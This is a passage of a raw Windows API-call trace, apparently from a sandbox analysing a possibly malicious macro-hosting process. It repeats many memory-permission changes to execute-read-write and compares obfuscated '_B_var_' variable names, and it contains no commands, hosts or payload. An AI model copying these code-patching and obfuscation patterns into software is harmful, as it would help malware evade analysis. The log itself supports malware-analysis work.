1 [0106.262] GetCurrentProcess () returned 0xffffffff [0106.262] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.262] GetCurrentProcess () returned 0xffffffff [0106.262] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.262] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.262] GetCurrentProcess () returned 0xffffffff [0106.262] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.262] GetCurrentProcess () returned 0xffffffff [0106.262] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.262] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.263] GetCurrentProcess () returned 0xffffffff [0106.263] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.263] GetCurrentProcess () returned 0xffffffff [0106.263] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.263] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.263] GetCurrentProcess () returned 0xffffffff [0106.263] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.263] GetCurrentProcess () returned 0xffffffff [0106.263] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.263] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.263] GetCurrentProcess () returned 0xffffffff [0106.264] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.264] GetCurrentProcess () returned 0xffffffff [0106.264] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.264] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.264] GetCurrentProcess () returned 0xffffffff [0106.264] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.264] GetCurrentProcess () returned 0xffffffff [0106.264] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.264] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.264] GetCurrentProcess () returned 0xffffffff [0106.264] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.265] GetCurrentProcess () returned 0xffffffff [0106.265] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.265] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.265] GetCurrentProcess () returned 0xffffffff [0106.265] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.265] GetCurrentProcess () returned 0xffffffff [0106.265] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.265] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.265] GetCurrentProcess () returned 0xffffffff [0106.265] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.265] GetCurrentProcess () returned 0xffffffff [0106.266] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.266] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.266] GetCurrentProcess () returned 0xffffffff [0106.266] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.266] GetCurrentProcess () returned 0xffffffff [0106.266] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.266] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.266] GetCurrentProcess () returned 0xffffffff [0106.266] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.266] GetCurrentProcess () returned 0xffffffff [0106.267] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.267] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.267] GetCurrentProcess () returned 0xffffffff [0106.267] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.267] GetCurrentProcess () returned 0xffffffff [0106.267] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.267] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.267] GetCurrentProcess () returned 0xffffffff [0106.267] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.267] GetCurrentProcess () returned 0xffffffff [0106.267] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.267] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.268] GetCurrentProcess () returned 0xffffffff [0106.268] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.268] GetCurrentProcess () returned 0xffffffff [0106.268] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.268] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.268] GetCurrentProcess () returned 0xffffffff [0106.268] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.268] GetCurrentProcess () returned 0xffffffff [0106.268] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.268] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.269] GetCurrentProcess () returned 0xffffffff [0106.269] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.269] GetCurrentProcess () returned 0xffffffff [0106.269] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.269] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1972ac | out: lpflOldProtect=0x1972ac*=0x40) returned 1 [0106.269] GetCurrentProcess () returned 0xffffffff [0106.269] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.270] GetAsyncKeyState (vKey=3) returned 0 [0106.270] CRetailMalloc_Alloc () returned 0xcb7cb60 [0106.270] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.270] memcpy (in: _Dst=0xcf95050, _Src=0x197404, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0106.270] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.270] memcpy (in: _Dst=0xcf94f48, _Src=0x1973bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.270] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x97\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2e5a, cbMultiByte=12, lpWideCharStr=0x197204, cchWideChar=13 | out: lpWideCharStr="–——————–——–") returned 12 [0106.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2afa, cbMultiByte=12, lpWideCharStr=0x197264, cchWideChar=13 | out: lpWideCharStr="–——————–——–") returned 12 [0106.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2afa, cbMultiByte=12, lpWideCharStr=0x197264, cchWideChar=13 | out: lpWideCharStr="–——————–——–") returned 12 [0106.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2afa, cbMultiByte=12, lpWideCharStr=0x197264, cchWideChar=13 | out: lpWideCharStr="–——————–——–") returned 12 [0106.271] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x97\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2afa, cbMultiByte=12, lpWideCharStr=0x197264, cchWideChar=13 | out: lpWideCharStr="–——————–——–") returned 12 [0106.272] CRetailMalloc_Alloc () returned 0xc854b38 [0106.272] _mbscpy_s (in: _Dst=0xc854b38, _DstSizeInBytes=0xc, _Src=0x111c2afa | out: _Dst=0xc854b38) returned 0x0 [0106.272] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="_B_var_\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount1=-1, lpString2="_B_var_\x96\x97\x97\x97\x97\x97\x97\x96\x97\x97\x96", cchCount2=-1) returned 1 [0106.272] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0b86, cbMultiByte=19, lpWideCharStr=0x197274, cchWideChar=20 | out: lpWideCharStr="_B_var_–——————–——–") returned 19 [0106.272] _mbscpy_s (in: _Dst=0x1972dc, _DstSizeInBytes=0xc, _Src=0x111c2afa | out: _Dst=0x1972dc) returned 0x0 [0106.272] CRetailMalloc_Free () returned 0x1 [0106.272] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0106.272] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.272] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.272] memcpy (in: _Dst=0xcf94f48, _Src=0x197254, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.272] memcpy (in: _Dst=0xcf94f48, _Src=0x197254, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.272] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.272] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.272] memcpy (in: _Dst=0xcb7cbd4, _Src=0x197484, _Size=0x18 | out: _Dst=0xcb7cbd4) returned 0xcb7cbd4 [0106.273] CRetailMalloc_Realloc () returned 0xcb7cb60 [0106.273] CRetailMalloc_Free () returned 0x1 [0106.273] GetCurrentProcess () returned 0xffffffff [0106.273] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0106.273] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.273] GetCurrentProcess () returned 0xffffffff [0106.273] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0106.273] GetCurrentProcess () returned 0xffffffff [0106.273] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0106.273] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.274] GetCurrentProcess () returned 0xffffffff [0106.274] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0106.274] GetCurrentProcess () returned 0xffffffff [0106.274] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0106.274] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.274] GetCurrentProcess () returned 0xffffffff [0106.274] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0106.274] GetCurrentProcess () returned 0xffffffff [0106.274] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0106.274] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.275] GetCurrentProcess () returned 0xffffffff [0106.275] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0106.396] GetCurrentProcess () returned 0xffffffff [0106.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0106.396] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.396] GetCurrentProcess () returned 0xffffffff [0106.396] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0106.396] GetCurrentProcess () returned 0xffffffff [0106.397] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0106.397] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.397] GetCurrentProcess () returned 0xffffffff [0106.397] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0106.397] GetCurrentProcess () returned 0xffffffff [0106.397] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0106.397] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.398] GetCurrentProcess () returned 0xffffffff [0106.398] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0106.398] GetCurrentProcess () returned 0xffffffff [0106.398] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0106.398] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.398] GetCurrentProcess () returned 0xffffffff [0106.398] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0106.399] GetCurrentProcess () returned 0xffffffff [0106.399] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0106.399] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.399] GetCurrentProcess () returned 0xffffffff [0106.399] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.399] GetCurrentProcess () returned 0xffffffff [0106.399] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.399] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.400] GetCurrentProcess () returned 0xffffffff [0106.400] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.400] GetCurrentProcess () returned 0xffffffff [0106.400] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.400] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.401] GetCurrentProcess () returned 0xffffffff [0106.401] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.401] GetCurrentProcess () returned 0xffffffff [0106.401] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.401] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.401] GetCurrentProcess () returned 0xffffffff [0106.401] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.401] GetCurrentProcess () returned 0xffffffff [0106.401] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.401] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.402] GetCurrentProcess () returned 0xffffffff [0106.402] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.402] GetCurrentProcess () returned 0xffffffff [0106.402] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.402] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.403] GetCurrentProcess () returned 0xffffffff [0106.403] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.403] GetCurrentProcess () returned 0xffffffff [0106.403] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.403] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.403] GetCurrentProcess () returned 0xffffffff [0106.403] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.403] GetCurrentProcess () returned 0xffffffff [0106.403] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.403] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.404] GetCurrentProcess () returned 0xffffffff [0106.404] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.404] GetCurrentProcess () returned 0xffffffff [0106.404] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.404] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.405] GetCurrentProcess () returned 0xffffffff [0106.405] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.405] GetCurrentProcess () returned 0xffffffff [0106.405] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.405] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.405] GetCurrentProcess () returned 0xffffffff [0106.405] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.405] GetCurrentProcess () returned 0xffffffff [0106.405] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.405] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.406] GetCurrentProcess () returned 0xffffffff [0106.406] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.406] GetCurrentProcess () returned 0xffffffff [0106.406] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.406] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.406] GetCurrentProcess () returned 0xffffffff [0106.406] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.406] GetCurrentProcess () returned 0xffffffff [0106.407] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.407] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.407] GetCurrentProcess () returned 0xffffffff [0106.407] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.407] GetCurrentProcess () returned 0xffffffff [0106.407] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.407] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.408] GetCurrentProcess () returned 0xffffffff [0106.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.408] GetCurrentProcess () returned 0xffffffff [0106.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.408] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.408] GetCurrentProcess () returned 0xffffffff [0106.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.408] GetCurrentProcess () returned 0xffffffff [0106.408] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.408] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.409] GetCurrentProcess () returned 0xffffffff [0106.409] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.409] GetCurrentProcess () returned 0xffffffff [0106.409] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.409] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.410] GetCurrentProcess () returned 0xffffffff [0106.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.410] GetCurrentProcess () returned 0xffffffff [0106.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.410] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.410] GetCurrentProcess () returned 0xffffffff [0106.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.410] GetCurrentProcess () returned 0xffffffff [0106.410] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.410] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.411] GetCurrentProcess () returned 0xffffffff [0106.411] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.411] GetCurrentProcess () returned 0xffffffff [0106.411] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.411] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.411] GetCurrentProcess () returned 0xffffffff [0106.411] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.412] GetCurrentProcess () returned 0xffffffff [0106.412] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.412] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.412] GetCurrentProcess () returned 0xffffffff [0106.412] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.412] GetCurrentProcess () returned 0xffffffff [0106.412] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.412] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.413] GetCurrentProcess () returned 0xffffffff [0106.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.413] GetCurrentProcess () returned 